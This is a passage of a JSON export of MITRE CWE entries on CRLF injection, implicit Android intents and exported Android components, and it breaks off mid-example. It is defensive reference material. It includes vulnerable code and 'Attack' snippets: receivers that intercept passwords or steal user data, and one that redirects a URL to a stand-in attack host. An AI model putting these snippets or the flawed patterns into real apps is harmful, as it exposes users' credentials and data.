[{"xhtml:p": ["The code does not neutralize the value of the file NR, which is attacker controlled because\n\t      it originates from a pull request that produced pr.zip.", "The attacker could escape the existing\n\t      pr_number and create a new variable using a \"\\n\"\n\t      (CWE-93) followed by any environment variable to be\n\t      added such as:"], "#text_blocks": ["The code does not neutralize the value of the file NR, which is attacker controlled because\n\t      it originates from a pull request that produced pr.zip.", "The attacker could escape the existing\n\t      pr_number and create a new variable using a \"\\n\"\n\t      (CWE-93) followed by any environment variable to be\n\t      added such as:"]}, {"xhtml:p": "This would result in injecting and running\n\t      javascript code (CWE-94) on the workflow runner with\n\t      elevated privileges.", "#text_blocks": ["This would result in injecting and running\n\t      javascript code (CWE-94) on the workflow runner with\n\t      elevated privileges."]}]}, {"Intro_Text": "If user input data that eventually makes it to a log message isn't checked for CRLF characters, it may be possible for an attacker to forge entries in a log file.", "Example_Code": {"@Nature": "Bad", "@Language": "Java", "xhtml:div": "logger.info(\"User's street address: \" + request.getParameter(\"streetAddress\"));", "#text_blocks": ["logger.info(\"User's street address: \" + request.getParameter(\"streetAddress\"));"]}}]}, "Observed_Examples": {"Observed_Example": [{"Reference": "CVE-2002-1771", "Description": "CRLF injection enables spam proxy (add mail headers) using email address or name.", "Link": "https://www.cve.org/CVERecord?id=CVE-2002-1771"}, {"Reference": "CVE-2002-1783", "Description": "CRLF injection in API function arguments modify headers for outgoing requests.", "Link": "https://www.cve.org/CVERecord?id=CVE-2002-1783"}, {"Reference": "CVE-2004-1513", "Description": "Spoofed entries in web server log file via carriage returns", "Link": "https://www.cve.org/CVERecord?id=CVE-2004-1513"}, {"Reference": "CVE-2006-4624", "Description": "Chain: inject fake log entries with fake timestamps using CRLF injection", "Link": "https://www.cve.org/CVERecord?id=CVE-2006-4624"}, {"Reference": "CVE-2005-1951", "Description": "Chain: Application accepts CRLF in an object ID, allowing HTTP response splitting.", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-1951"}, {"Reference": "CVE-2004-1687", "Description": "Chain: HTTP response splitting via CRLF in parameter related to URL.", "Link": "https://www.cve.org/CVERecord?id=CVE-2004-1687"}]}, "Taxonomy_Mappings": {"Taxonomy_Mapping": [{"@Taxonomy_Name": "PLOVER", "Entry_Name": "CRLF Injection"}, {"@Taxonomy_Name": "OWASP Top Ten 2007", "Entry_ID": "A2", "Entry_Name": "Injection Flaws", "Mapping_Fit": "CWE More Specific"}, {"@Taxonomy_Name": "WASC", "Entry_ID": "24", "Entry_Name": "HTTP Request Splitting"}, {"@Taxonomy_Name": "Software Fault Patterns", "Entry_ID": "SFP24", "Entry_Name": "Tainted input to command"}]}, "Related_Attack_Patterns": {"Related_Attack_Pattern": [{"@CAPEC_ID": "15"}, {"@CAPEC_ID": "81"}]}, "References": {"Reference": [{"@External_Reference_ID": "REF-928"}, {"@External_Reference_ID": "REF-1456"}, {"@External_Reference_ID": "REF-1457"}]}, "Mapping_Notes": {"Usage": "Allowed", "Rationale": "This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.", "Comments": "Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.", "Reasons": {"Reason": {"@Type": "Acceptable-Use"}}}, "Content_History": {"Submission": {"Submission_Name": "PLOVER", "Submission_Date": "2006-07-19", "Submission_Version": "Draft 3", "Submission_ReleaseDate": "2006-07-19"}, "Modification": [{"Modification_Name": "Sean Eidemiller", "Modification_Organization": "Cigital", "Modification_Date": "2008-07-01", "Modification_Version": "1.0", "Modification_ReleaseDate": "2008-09-09", "Modification_Comment": "added/updated demonstrative examples"}, {"Modification_Name": "Eric Dalci", "Modification_Organization": "Cigital", "Modification_Date": "2008-07-01", "Modification_Version": "1.0", "Modification_ReleaseDate": "2008-09-09", "Modification_Comment": "updated Time_of_Introduction"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2008-09-08", "Modification_Version": "1.0", "Modification_ReleaseDate": "2008-09-09", "Modification_Comment": "updated Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2009-03-10", "Modification_Version": "1.3", "Modification_ReleaseDate": "2009-03-10", "Modification_Comment": "updated References"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2009-05-27", "Modification_Version": "1.4", "Modification_ReleaseDate": "2009-05-27", "Modification_Comment": "updated Name"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2009-10-29", "Modification_Version": "1.6", "Modification_ReleaseDate": "2009-10-29", "Modification_Comment": "updated Other_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2009-12-28", "Modification_Version": "1.7", "Modification_ReleaseDate": "2009-12-28", "Modification_Comment": "updated Likelihood_of_Exploit"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2010-02-16", "Modification_Version": "1.8", "Modification_ReleaseDate": "2010-02-16", "Modification_Comment": "updated Related_Attack_Patterns, Taxonomy_Mappings"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2010-04-05", "Modification_Version": "1.8.1", "Modification_ReleaseDate": "2010-04-05", "Modification_Comment": "updated Related_Attack_Patterns"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2010-06-21", "Modification_Version": "1.9", "Modification_ReleaseDate": "2010-06-21", "Modification_Comment": "updated Description, Name"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2011-03-29", "Modification_Version": "1.12", "Modification_ReleaseDate": "2011-03-30", "Modification_Comment": "updated Description"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2011-06-01", "Modification_Version": "1.13", "Modification_ReleaseDate": "2011-06-01", "Modification_Comment": "updated Common_Consequences"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2012-05-11", "Modification_Version": "2.2", "Modification_ReleaseDate": "2012-05-15", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2012-10-30", "Modification_Version": "2.3", "Modification_ReleaseDate": "2012-10-30", "Modification_Comment": "updated Potential_Mitigations"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2014-07-30", "Modification_Version": "2.8", "Modification_ReleaseDate": "2014-07-31", "Modification_Comment": "updated Relationships, Taxonomy_Mappings"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2015-12-07", "Modification_Version": "2.9", "Modification_ReleaseDate": "2015-12-07", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2017-11-08", "Modification_Version": "3.0", "Modification_ReleaseDate": "2017-11-08", "Modification_Comment": "updated Applicable_Platforms, Causal_Nature, Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2019-06-20", "Modification_Version": "3.3", "Modification_ReleaseDate": "2019-06-20", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2021-10-28", "Modification_Version": "4.6", "Modification_ReleaseDate": "2021-10-28", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2022-04-28", "Modification_Version": "4.7", "Modification_ReleaseDate": "2022-04-28", "Modification_Comment": "updated Research_Gaps"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-01-31", "Modification_Version": "4.10", "Modification_ReleaseDate": "2023-01-31", "Modification_Comment": "updated Description"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Detection_Factors, Relationships, Time_of_Introduction"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2024-11-19", "Modification_Version": "4.16", "Modification_ReleaseDate": "2024-11-19", "Modification_Comment": "updated Demonstrative_Examples"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-04-03", "Modification_Version": "4.17", "Modification_ReleaseDate": "2025-04-03", "Modification_Comment": "updated Diagram, References"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-12-11", "Modification_Version": "4.19", "Modification_ReleaseDate": "2025-12-11", "Modification_Comment": "updated Demonstrative_Examples, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Alternate_Terms, Name"}], "Previous_Entry_Name": [{"@Date": "2008-04-11", "#text": "CRLF Injection"}, {"@Date": "2009-05-27", "#text": "Failure to Sanitize CRLF Sequences (aka 'CRLF Injection')"}, {"@Date": "2010-06-21", "#text": "Failure to Sanitize CRLF Sequences ('CRLF Injection')"}, {"@Date": "2026-10-28", "#text": "Improper Neutralization of CRLF Sequences ('CRLF Injection')"}]}, "entry_type": "Weakness", "ranking": 321.0}, {"@ID": "929", "@Name": "OWASP Top Ten 2013 Category A1 - Injection", "@Status": "Obsolete", "Summary": "Weaknesses in this category are related to the A1 category in the OWASP Top Ten 2013.", "Relationships": {"Has_Member": [{"@CWE_ID": "74", "@View_ID": "928"}, {"@CWE_ID": "77", "@View_ID": "928"}, {"@CWE_ID": "78", "@View_ID": "928"}, {"@CWE_ID": "88", "@View_ID": "928"}, {"@CWE_ID": "89", "@View_ID": "928"}, {"@CWE_ID": "90", "@View_ID": "928"}, {"@CWE_ID": "91", "@View_ID": "928"}, {"@CWE_ID": "643", "@View_ID": "928"}, {"@CWE_ID": "652", "@View_ID": "928"}]}, "References": {"Reference": {"@External_Reference_ID": "REF-927"}}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2013-07-16", "Submission_Version": "2.5", "Submission_ReleaseDate": "2013-07-17"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2014-06-23", "Modification_Version": "2.7", "Modification_ReleaseDate": "2014-06-23", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2018-03-27", "Modification_Version": "3.1", "Modification_ReleaseDate": "2018-03-27", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-09-09", "Modification_Version": "4.18", "Modification_ReleaseDate": "2025-09-09", "Modification_Comment": "updated References"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "927", "@Name": "Use of Implicit Intent for Sensitive Communication", "@Abstraction": "Variant", "@Structure": "Simple", "@Status": "Incomplete", "Description": "The Android application uses an implicit intent for transmitting sensitive data to other applications.", "Extended_Description": {"xhtml:p": ["Since an implicit intent does not specify a particular application to receive the data, any application can process the intent by using an Intent Filter for that intent. This can allow untrusted applications to obtain sensitive data. There are two variations on the standard broadcast intent, ordered and sticky.", "Ordered broadcast intents are delivered to a series of registered receivers in order of priority as declared by the Receivers. A malicious receiver can give itself a high priority and cause a denial of service by stopping the broadcast from propagating further down the chain. There is also the possibility of malicious data modification, as a receiver may also alter the data within the Intent before passing it on to the next receiver. The downstream components have no way of asserting that the data has not been altered earlier in the chain.", "Sticky broadcast intents remain accessible after the initial broadcast. An old sticky intent will be broadcast again to any new receivers that register for it in the future, greatly increasing the chances of information exposure over time. Also, sticky broadcasts cannot be protected by permissions that may apply to other kinds of intents.", "In addition, any broadcast intent may include a URI that references data that the receiving component does not normally have the privileges to access. The sender of the intent can include special privileges that grant the receiver read or write access to the specific URI included in the intent. A malicious receiver that intercepts this intent will also gain those privileges and be able to read or write the resource at the specified URI."], "#text_blocks": ["Since an implicit intent does not specify a particular application to receive the data, any application can process the intent by using an Intent Filter for that intent. This can allow untrusted applications to obtain sensitive data. There are two variations on the standard broadcast intent, ordered and sticky.", "Ordered broadcast intents are delivered to a series of registered receivers in order of priority as declared by the Receivers. A malicious receiver can give itself a high priority and cause a denial of service by stopping the broadcast from propagating further down the chain. There is also the possibility of malicious data modification, as a receiver may also alter the data within the Intent before passing it on to the next receiver. The downstream components have no way of asserting that the data has not been altered earlier in the chain.", "Sticky broadcast intents remain accessible after the initial broadcast. An old sticky intent will be broadcast again to any new receivers that register for it in the future, greatly increasing the chances of information exposure over time. Also, sticky broadcasts cannot be protected by permissions that may apply to other kinds of intents.", "In addition, any broadcast intent may include a URI that references data that the receiving component does not normally have the privileges to access. The sender of the intent can include special privileges that grant the receiver read or write access to the specific URI included in the intent. A malicious receiver that intercepts this intent will also gain those privileges and be able to read or write the resource at the specified URI."]}, "Related_Weaknesses": {"Related_Weakness": [{"@Nature": "ChildOf", "@CWE_ID": "285", "@View_ID": "1000", "@Ordinal": "Primary"}, {"@Nature": "ChildOf", "@CWE_ID": "923", "@View_ID": "1000"}]}, "Weakness_Ordinalities": {"Weakness_Ordinality": {"Ordinality": "Primary"}}, "Applicable_Platforms": {"Language": {"@Class": "Not Language-Specific", "@Prevalence": "Undetermined"}, "Technology": {"@Class": "Mobile", "@Prevalence": "Undetermined"}}, "Modes_Of_Introduction": {"Introduction": {"Phase": "Architecture and Design"}}, "Common_Consequences": {"Consequence": [{"Scope": "Confidentiality", "Impact": "Read Application Data", "Note": "Other applications, possibly untrusted, can read the data that is offered through the Intent."}, {"Scope": "Integrity", "Impact": "Varies by Context", "Note": "The application may handle responses from untrusted applications on the device, which could cause it to perform unexpected or unauthorized actions."}]}, "Detection_Methods": {"Detection_Method": {"@Detection_Method_ID": "DM-14", "Method": "Automated Static Analysis", "Description": "Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect \"sources\" (origins of input) with \"sinks\" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)", "Effectiveness": "High"}}, "Potential_Mitigations": {"Mitigation": [{"Phase": "Implementation", "Description": ["If the application only requires communication with its own components, then the destination is always known, and an explicit intent could be used."]}]}, "Demonstrative_Examples": {"Demonstrative_Example": [{"Intro_Text": "This application wants to create a user account in several trusted applications using one broadcast intent:", "Example_Code": [{"@Nature": "Bad", "@Language": "Java", "xhtml:div": {"xhtml:br": [null, null, null, null], "#text": "Intent intent = new Intent();intent.setAction(\"com.example.CreateUser\");intent.putExtra(\"Username\", uname_string);intent.putExtra(\"Password\", pw_string);sendBroadcast(intent);"}, "#text_blocks": ["Intent intent = new Intent();", "intent.setAction(\"com.example.CreateUser\");", "intent.putExtra(\"Username\", uname_string);", "intent.putExtra(\"Password\", pw_string);", "sendBroadcast(intent);"]}, {"@Nature": "Attack", "@Language": "Java", "xhtml:div": {"xhtml:br": [null, null], "#text": "IntentFilter filter = new IntentFilter(\"com.example.CreateUser\");MyReceiver receiver = new MyReceiver();registerReceiver(receiver, filter);"}, "#text_blocks": ["IntentFilter filter = new IntentFilter(\"com.example.CreateUser\");", "MyReceiver receiver = new MyReceiver();", "registerReceiver(receiver, filter);"]}], "Body_Text": ["This application assumes only the trusted applications will be listening for the action. A malicious application can register for this action and intercept the user's login information, as below:", "When a broadcast contains sensitive information, create an allowlist of applications that can receive the action using the application's manifest file, or programmatically send the intent to each individual intended receiver."]}, {"Intro_Text": "This application interfaces with a web service that requires a separate user login. It creates a sticky intent, so that future trusted applications that also use the web service will know who the current user is:", "Example_Code": [{"@Nature": "Bad", "@Language": "Java", "xhtml:div": {"xhtml:br": [null, null, null], "#text": "Intent intent = new Intent();intent.setAction(\"com.example.service.UserExists\");intent.putExtra(\"Username\", uname_string);sendStickyBroadcast(intent);"}, "#text_blocks": ["Intent intent = new Intent();", "intent.setAction(\"com.example.service.UserExists\");", "intent.putExtra(\"Username\", uname_string);", "sendStickyBroadcast(intent);"]}, {"@Nature": "Attack", "@Language": "Java", "xhtml:div": {"xhtml:br": [null, null], "#text": "IntentFilter filter = new IntentFilter(\"com.example.service.UserExists\");MyReceiver receiver = new MyReceiver();registerReceiver(receiver, filter);"}, "#text_blocks": ["IntentFilter filter = new IntentFilter(\"com.example.service.UserExists\");", "MyReceiver receiver = new MyReceiver();", "registerReceiver(receiver, filter);"]}], "Body_Text": "Sticky broadcasts can be read by any application at any time, and so should never contain sensitive information such as a username."}, {"Intro_Text": "This application is sending an ordered broadcast, asking other applications to open a URL:", "Example_Code": [{"@Nature": "Bad", "@Language": "Java", "xhtml:div": {"xhtml:br": [null, null, null], "#text": "Intent intent = new Intent();intent.setAction(\"com.example.OpenURL\");intent.putExtra(\"URL_TO_OPEN\", url_string);sendOrderedBroadcastAsUser(intent);"}, "#text_blocks": ["Intent intent = new Intent();", "intent.setAction(\"com.example.OpenURL\");", "intent.putExtra(\"URL_TO_OPEN\", url_string);", "sendOrderedBroadcastAsUser(intent);"]}, {"@Nature": "Attack", "@Language": "Java", "xhtml:div": {"xhtml:div": {"@style": "margin-left:1em;", "xhtml:br": null, "xhtml:div": {"@style": "margin-left:1em;", "xhtml:br": [null, null], "#text": "String Url = intent.getStringExtra(Intent.URL_TO_OPEN);attackURL = \"www.example.com/attack?\" + Url;setResultData(attackURL);"}, "#text": "@Overridepublic void onReceive(Context context, Intent intent) {}"}, "#text": "public class CallReceiver extends BroadcastReceiver {}"}, "#text_blocks": ["public class CallReceiver extends BroadcastReceiver {", "@Override", "public void onReceive(Context context, Intent intent) {", "String Url = intent.getStringExtra(Intent.URL_TO_OPEN);", "attackURL = \"www.example.com/attack?\" + Url;", "setResultData(attackURL);", "}", "}"]}], "Body_Text": ["Any application in the broadcast chain may alter the data within the intent. This malicious application is altering the URL to point to an attack site:", "The final receiving application will then open the attack URL. Where possible, send intents to specific trusted applications instead of using a broadcast chain."]}, {"@Demonstrative_Example_ID": "DX-108", "Intro_Text": "This application sends a special intent with a flag that allows the receiving application to read a data file for backup purposes.", "Example_Code": [{"@Nature": "Bad", "@Language": "Java", "xhtml:div": {"xhtml:br": [null, null, null, null], "#text": "Intent intent = new Intent();intent.setAction(\"com.example.BackupUserData\");intent.setData(file_uri);intent.addFlags(FLAG_GRANT_READ_URI_PERMISSION);sendBroadcast(intent);"}, "#text_blocks": ["Intent intent = new Intent();", "intent.setAction(\"com.example.BackupUserData\");", "intent.setData(file_uri);", "intent.addFlags(FLAG_GRANT_READ_URI_PERMISSION);", "sendBroadcast(intent);"]}, {"@Nature": "Attack", "@Language": "Java", "xhtml:div": {"xhtml:div": {"@style": "margin-left:1em;", "xhtml:br": null, "xhtml:div": {"@style": "margin-left:1em;", "xhtml:br": null, "#text": "Uri userData = intent.getData();stealUserData(userData);"}, "#text": "@Overridepublic void onReceive(Context context, Intent intent) {}"}, "#text": "public class CallReceiver extends BroadcastReceiver {}"}, "#text_blocks": ["public class CallReceiver extends BroadcastReceiver {", "@Override", "public void onReceive(Context context, Intent intent) {", "Uri userData = intent.getData();", "stealUserData(userData);", "}", "}"]}], "Body_Text": "Any malicious application can register to receive this intent. Because of the FLAG_GRANT_READ_URI_PERMISSION included with the intent, the malicious receiver code can read the user's data."}]}, "Observed_Examples": {"Observed_Example": {"Reference": "CVE-2022-4903", "Description": "An Android application does not use FLAG_IMMUTABLE when creating a PendingIntent.", "Link": "https://www.cve.org/CVERecord?id=CVE-2022-4903"}}, "References": {"Reference": [{"@External_Reference_ID": "REF-922", "@Section": "3.2.1"}, {"@External_Reference_ID": "REF-923"}]}, "Mapping_Notes": {"Usage": "Allowed", "Rationale": "This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.", "Comments": "Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.", "Reasons": {"Reason": {"@Type": "Acceptable-Use"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2013-07-09", "Submission_Version": "2.5", "Submission_ReleaseDate": "2013-07-17"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2014-02-18", "Modification_Version": "2.6", "Modification_ReleaseDate": "2014-02-19", "Modification_Comment": "updated Demonstrative_Examples, Description, References"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2017-11-08", "Modification_Version": "3.0", "Modification_ReleaseDate": "2017-11-08", "Modification_Comment": "updated References"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Applicable_Platforms, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-06-25", "Modification_Version": "4.1", "Modification_ReleaseDate": "2020-06-25", "Modification_Comment": "updated Demonstrative_Examples"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2021-03-15", "Modification_Version": "4.4", "Modification_ReleaseDate": "2021-03-15", "Modification_Comment": "updated Maintenance_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2021-10-28", "Modification_Version": "4.6", "Modification_ReleaseDate": "2021-10-28", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Detection_Factors, References, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-10-26", "Modification_Version": "4.13", "Modification_ReleaseDate": "2023-10-26", "Modification_Comment": "updated Observed_Examples"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-12-11", "Modification_Version": "4.19", "Modification_ReleaseDate": "2025-12-11", "Modification_Comment": "updated Weakness_Ordinalities"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Relationships"}]}, "entry_type": "Weakness", "ranking": 34.0}, {"@ID": "926", "@Name": "Improper Export of Android Application Components", "@Abstraction": "Variant", "@Structure": "Simple", "@Status": "Incomplete", "Description": "The Android application exports a component for use by other applications, but does not properly restrict which applications can launch the component or access the data it contains.", "Related_Weaknesses": {"Related_Weakness": [{"@Nature": "ChildOf", "@CWE_ID": "285", "@View_ID": "1000", "@Ordinal": "Primary"}]}, "Weakness_Ordinalities": {"Weakness_Ordinality": {"Ordinality": "Primary"}}, "Applicable_Platforms": {"Language": {"@Class": "Not Language-Specific", "@Prevalence": "Undetermined"}, "Technology": {"@Class": "Mobile", "@Prevalence": "Undetermined"}}, "Background_Details": {"Background_Detail": {"xhtml:p": "There are three types of components that can be exported in an Android application.", "xhtml:ul": {"xhtml:li": ["An Activity is an application component that provides a UI for users to interact with. A typical application will have multiple Activity screens that perform different functions, such as a main Activity screen and a separate settings Activity screen.", "A Service is an application component that is started by another component to execute an operation in the background, even after the invoking component is terminated. Services do not have a UI component visible to the user.", "The Content Provider mechanism can be used to share data with other applications or internally within the same application."]}, "#text_blocks": ["There are three types of components that can be exported in an Android application.", "An Activity is an application component that provides a UI for users to interact with. A typical application will have multiple Activity screens that perform different functions, such as a main Activity screen and a separate settings Activity screen.", "A Service is an application component that is started by another component to execute an operation in the background, even after the invoking component is terminated. Services do not have a UI component visible to the user.", "The Content Provider mechanism can be used to share data with other applications or internally within the same application."]}}, "Modes_Of_Introduction": {"Introduction": {"Phase": "Architecture and Design"}}, "Common_Consequences": {"Consequence": [{"Scope": ["Availability", "Integrity"], "Impact": ["Unexpected State", "DoS: Crash, Exit, or Restart", "DoS: Instability", "Varies by Context"], "Note": "If access to an exported Activity is not restricted, any application will be able to launch the activity. This may allow a malicious application to gain access to sensitive information, modify the internal state of the application, or trick a user into interacting with the victim application while believing they are still interacting with the malicious application."}, {"Scope": ["Availability", "Integrity"], "Impact": ["Unexpected State", "Gain Privileges or Assume Identity", "DoS: Crash, Exit, or Restart", "DoS: Instability", "Varies by Context"], "Note": "If access to an exported Service is not restricted, any application may start and bind to the Service. Depending on the exposed functionality, this may allow a malicious application to perform unauthorized actions, gain access to sensitive information, or corrupt the internal state of the application."}, {"Scope": ["Confidentiality", "Integrity"], "Impact": ["Read Application Data", "Modify Application Data"], "Note": "If access to a Content Provider is not restricted to only the expected applications, then malicious applications might be able to access the sensitive data. Note that in Android before 4.2, the Content Provider is automatically exported unless it has been explicitly declared as NOT exported."}]}, "Detection_Methods": {"Detection_Method": {"@Detection_Method_ID": "DM-14", "Method": "Automated Static Analysis", "Description": "Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect \"sources\" (origins of input) with \"sinks\" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)", "Effectiveness": "High"}}, "Potential_Mitigations": {"Mitigation": [{"Phase": "Build and Compilation", "Strategy": "Attack Surface Reduction", "Description": ["If they do not need to be shared by other applications, explicitly mark components with android:exported=\"false\" in the application manifest."]}, {"Phase": "Build and Compilation", "Strategy": "Attack Surface Reduction", "Description": ["If you only intend to use exported components between related apps under your control, use android:protectionLevel=\"signature\" in the xml manifest to restrict access to applications signed by you."]}, {"Phase": ["Build and Compilation", "Architecture and Design"], "Strategy": "Attack Surface Reduction", "Description": ["Limit Content Provider permissions (read/write) as appropriate."]}, {"Phase": ["Build and Compilation", "Architecture and Design"], "Strategy": "Separation of Privilege", "Description": ["Limit Content Provider permissions (read/write) as appropriate."]}]}, "Demonstrative_Examples": {"Demonstrative_Example": [{"Intro_Text": "This application is exporting an activity and a service in its manifest.xml:", "Example_Code": {"@Nature": "Bad", "@Language": "XML", "xhtml:div": {"xhtml:div": [{"@style": "margin-left:1em;", "xhtml:div": {"xhtml:br": [null, null, null, null], "xhtml:i": ["...", "..."], "xhtml:div": {"@style": "margin-left:1em;", "xhtml:br": null, "#text": "<action android:name=\"com.example.vulnerableApp.OPEN_UI\" /><category android:name=\"android.intent.category.DEFAULT\" />"}, "#text": "<intent-filter></intent-filter>"}}, {"@style": "margin-left:1em;", "xhtml:div": {"xhtml:br": [null, null, null, null], "xhtml:i": ["...", "..."], "xhtml:div": {"@style": "margin-left:1em;", "#text": "<action android:name=\"com.example.vulnerableApp.START_BACKGROUND\" />"}, "#text": "<intent-filter></intent-filter>"}}], "xhtml:br": null, "#text": "<activity android:name=\"com.example.vulnerableApp.mainScreen\"></activity><service android:name=\"com.example.vulnerableApp.backgroundService\"></service>"}, "#text_blocks": ["<activity android:name=\"com.example.vulnerableApp.mainScreen\">", "...", "<intent-filter>", "<action android:name=\"com.example.vulnerableApp.OPEN_UI\" />", "<category android:name=\"android.intent.category.DEFAULT\" />", "</intent-filter>", "...", "</activity>", "<service android:name=\"com.example.vulnerableApp.backgroundService\">", "...", "<intent-filter>", "<action android:name=\"com.example.vulnerableApp.START_BACKGROUND\" />", "</intent-filter>", "...", "</service>"]}, "Body_Text": "Because these components have intent filters but have not explicitly set 'android:exported=false' elsewhere in the manifest, they are automatically exported so that any other application can launch them. This may lead to unintended behavior or exploits."}, {"Intro_Text": "This application has created a content provider to enable custom search suggestions within the application:", "Example_Code": {"@Nature": "Bad", "@Language": "XML", "xhtml:div": {"xhtml:div": {"@style": "margin-left:1em;", "xhtml:br": null, "#text": "android:name=\"com.example.vulnerableApp.searchDB\"android:authorities=\"com.example.vulnerableApp.searchDB\">"}, "#text": 